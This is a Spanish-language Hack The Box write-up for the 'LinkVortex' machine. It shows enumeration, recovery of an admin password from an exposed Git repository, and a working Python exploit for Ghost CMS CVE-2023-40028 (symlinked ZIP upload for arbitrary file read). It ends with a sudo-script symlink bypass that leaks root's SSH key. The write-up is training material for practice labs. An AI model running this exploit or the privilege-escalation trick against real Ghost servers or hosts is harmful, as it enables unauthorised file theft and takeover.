Descripción

LinkVortex es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de subdominios para encontrar un repositorio Git oculto
  • Fuga de credenciales en un repositorio de Git️
  • Lectura de archivos arbitraria en el gestor de contenidos Ghost️
  • Reutilización de contraseña en una cuenta Linux encontrada en un archivo de configuración de Ghost
  • Escalada de Privilegios mediante la eliminación de unas restricciones de un script de Bash.️

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.39.160.

$ ping -c 3 10.129.39.160
PING 10.129.39.160 (10.129.39.160) 56(84) bytes of data.
64 bytes from 10.129.39.160: icmp_seq=1 ttl=63 time=132 ms
64 bytes from 10.129.39.160: icmp_seq=2 ttl=63 time=50.6 ms
64 bytes from 10.129.39.160: icmp_seq=3 ttl=63 time=50.2 ms

--- 10.129.39.160 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 50.243/77.567/131.872/38.399 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.39.160 -sS -oN nmap_scan                                    Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.39.160
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 4.00 seconds

Obtenemos dos puertos abiertos, 22 y 80.️

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.39.160 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.39.160
Host is up (0.052s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds

Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Agregamos la máquina descubierta al archivo /etc/hosts.️

$ echo '10.129.39.160 linkvortex.htb' | sudo tee -a /etc/hosts

Encontramos una instancia de Ghost CMS, utilizada para la publicación de artículos.️ Encontramos la consola de administración en el directorio /ghost, pero no tenemos credenciales para iniciar sesión. También podemos encontrar que si introducimos una dirección de correo electrónico inexistente, la aplicación nos devuelve un mensaje indicando que el correo electrónico no existe. Esto se puede utilizar para enumerar usuarios. Encontramos la cuenta admin@linkvortex.htb.️ Ahora podemos pasar a enumerar subdominios de linkvortex.htb.️

$ gobuster vhost -u linkvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhost_enumeration -r -t 50   
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://linkvortex.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.linkvortex.htb Status: 200 [Size: 2538]

Encontramos uno dev.linvortex.htb, así que lo añadimos al archivo /etc/hosts.

$ echo '10.129.39.160 dev.linkvortex.htb' | sudo tee -a /etc/hosts

Por una sencilla enumeración, encontramos que el directorio /.git existe.️

$ curl -I http://dev.linkvortex.htb/.git/                      
HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8

Vamos a volcar el repositorio de Git completo utilizando la herramienta de Python llamada git-dumper.️

$ virtualenv python
$ . python/bin/activate
$ pip install git-dumper
$ git-dumper http://dev.linkvortex.htb/.git git-repo

Moviendonos al repositorio, encontramos que un archivo fue creado Dockerfile.ghost y uno fue modificado authentication.test.js. También encontramos que estamos utilizando la versión 5.58.0 del software.️

$ cd git-repo 
$ git status          
Not currently on any branch.
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   Dockerfile.ghost
        modified:   ghost/core/test/regression/api/admin/authentication.test.js
$ git tag
v5.58.0

Revisamos el contenido para encontrar que el archivo Dockerfile.ghost contiene las instrucciones para crear el contenedor de Docker de Ghost. Cuando se construye el contenedor, su configuración se almacena en el archivo del contenedor /var/lib/ghost/config.production.json.️

$ cat Dockerfile.ghost         
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

Para el archivo authentication.test.js podemos verificar cambios con la herramienta diff.️

$ git diff HEAD ghost/core/test/regression/api/admin/authentication.test.js
diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/ghost/core/test/regression/api/admin/authentication.test.js
index 2735588..e654b0e 100644
--- a/ghost/core/test/regression/api/admin/authentication.test.js
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
 
         it('complete setup', async function () {
             const email = 'test@example.com';
-            const password = 'thisissupersafe';
+            const password = 'OctopiFociPilfer45';
 
             const requestMock = nock('https://api.github.com')
                 .get('/repos/tryghost/dawn/zipball')

Encontramos que la contraseña por defecto, thisissupersafe, se cambia a OctopiFociPilfer45. Si regresamos al inicio de sesión anterior encontramos que esta es la contraseña para el usuario admin@linkvortex.htb y podemos acceder a la consola de administración.️

Explotación️

La versión instalada de Ghost, 5.58.0, es vulnerable a lectura de archivos arbitraria, CVE-2023-40028. Permite a los usuarios autenticados subir archivos que son enlaces simbólicos. Esto puede ser explotado para realizar una lectura de archivos arbitraria de cualquier archivo del sistema operativo. Un atacante puede crear un archivo ZIP malicioso que contenga un enlace simbólico a cualquier archivo, al visitar ese archivo, es posible entonces navegar por el sistema de archivos (con los privilegios del usuario actual). Tenemos una prueba de concepto de la vulnerabilidad creada por xSly en HackMD. Primero vamos a crear el script zipfile.py que creará el archivo ZIP malicioso.

import stat # since zipfile doesn't support symlinks by default
import zipfile
def create_zip_with_symlinks(output_zip_filename, symlink_details):
    zipOut = zipfile.ZipFile(output_zip_filename, 'w', compression=zipfile.ZIP_DEFLATED)
    for link_source, link_target in symlink_details:
        zipInfo  = zipfile.ZipInfo(link_source)
        zipInfo.create_system = 3  
        unix_st_mode = stat.S_IFLNK | stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH
        zipInfo.external_attr = unix_st_mode << 16  
        zipOut.writestr(zipInfo, link_target)
    zipOut.close()
symlink_details = [
    ('content/images/malicious.jpg', '/')
]
create_zip_with_symlinks('spl0it.zip', symlink_details)

Luego creamos el archivo de explotación exploit.py con las variables adecuadas que aprovecharán la vulnerabilidad.️

import requests
import time
url_login = "http://linkvortex.htb/ghost/api/admin/session"
url_upload = "http://linkvortex.htb/ghost/api/admin/db"


# default admin creds of the bintami container
#curl -sSL https://raw.githubusercontent.com/bitnami/containers/main/bitnami/ghost/docker-compose.yml > docker-compose.yml
#docker-compose up -d

login_data = {
    "username": "admin@linkvortex.htb",
    "password": "OctopiFociPilfer45"
}

upload_files = {
    "importfile": ("spl0it.zip", open("spl0it.zip", "rb").read(), "application/zip")
}

with requests.Session() as session:
    # Login request
    login_response = session.post(url_login,  json=login_data,proxies={"http":"http://127.0.0.1:8080"}) # get an admin session
    print(login_response.text)

    # Upload request using the same session
    upload_response = session.post(url_upload,  files=upload_files,proxies={"http":"http://127.0.0.1:8080"}) # upload malicious zip
    print(upload_response.text)

## now that everthing is done, we use that file as trigger point

time.sleep(1)

while 1:
    filename = input("> ") # i.e: /etc/passwd
    r = requests.get(f"http://linkvortex.htb/content/images/malicious.jpg/{filename}") # use malicious.jpg to read local files
    print(r.text)

Podemos eliminar los parámetros de proxies={"http":"http://127.0.0.1:8080"} en las solicitudes si no tenemos un proxy que esté escuchando. Luego ejecutamos ambos scripts y podremos recuperar archivos remotos como /etc/passwd.️

$ python file.py
$ python exploit.py                                               
Created
{"db":[],"problems":[]}
> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

Vamos a utilizar la vulnerabilidad para leer el archivo de configuración de Ghost que vimos anteriormente, /var/lib/ghost/config.production.json.️

> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

Encontramos las credenciales de SMTP del usuario bob, con la contraseña fibber-talented-worth. Las credenciales se reutilizan para el usuario de Linux bob y podemos acceder a la máquina anfitriona utilizando SSH.️

$ ssh bob@linkvortex.htb
bob@linkvortex.htb's password: 
...
bob@linkvortex:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)

Post-Explotación️

Encontramos que el usuario bob puede ejecutar un script como usuario root, /opt/ghost/clean_symlink.sh, y solo pasando un archivo PNG en los parámetros.️

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Vamos a comprobar el contenido del archivo /opt/ghost/clean_symlink.sh.️

bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Encontramos que el script comprueba si el archivo PNG pasado como parámetro es un enlace simbólico. Si es un enlace simbólico, comprueba si está enlazado a un directorio/archivo que contenga la cadena etc o root. Si es cierto, el enlace simbólico se elimina con el comando unlink. Si no, el enlace simbólico se mueve al directorio de cuarentena /var/quarantined y se muestran los contenidos del archivo si la variable CHECK_CONTENT está establecida en true.️

Nuestro objetivo es eludir estas limitaciones y leer el archivo /root/.ssh/id_rsa. Como el script está verificando las cadenas etc y root, crearemos un enlace simbólico al directorio /root/ desde otra carpeta, como /home/bob/administrator. Luego crearemos un enlace simbólico al archivo /home/bob/administrator/.ssh/id_rsa (/home/root/.ssh/id_rsa) como archivo PNG, que será pasado como parámetro del script Bash. Finalmente configuraremos la variable CHECK_CONTENT a true cuando ejecutemos el script Bash. Podremos recuperar la clave SSH privada del usuario root.️

bob@linkvortex:~$ cd /home/bob
bob@linkvortex:~$ ln -s /root/ /home/bob/administrator
bob@linkvortex:~$ ln -s /home/bob/administrator/.ssh/id_rsa /home/bob/photo.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true bash /opt/ghost/clean_symlink.sh /home/bob/photo.png

Link found [ /home/bob/photo.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA==
-----END OPENSSH PRIVATE KEY-----

Podemos utilizar la clave SSH para iniciar sesión en la máquina como el usuario root.️

bob@linkvortex:~$ nano ssh_key
bob@linkvortex:~$ chmod 600 ssh_key
bob@linkvortex:~$ ssh -i ssh_key root@localhost
...
root@linkvortex:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la sesión de root, podemos recuperar las flags de user y root.️

root@linkvortex:~# cat /home/bob/user.txt 
<REDACTED>
root@linkvortex:~# cat /root/root.txt 
<REDACTED>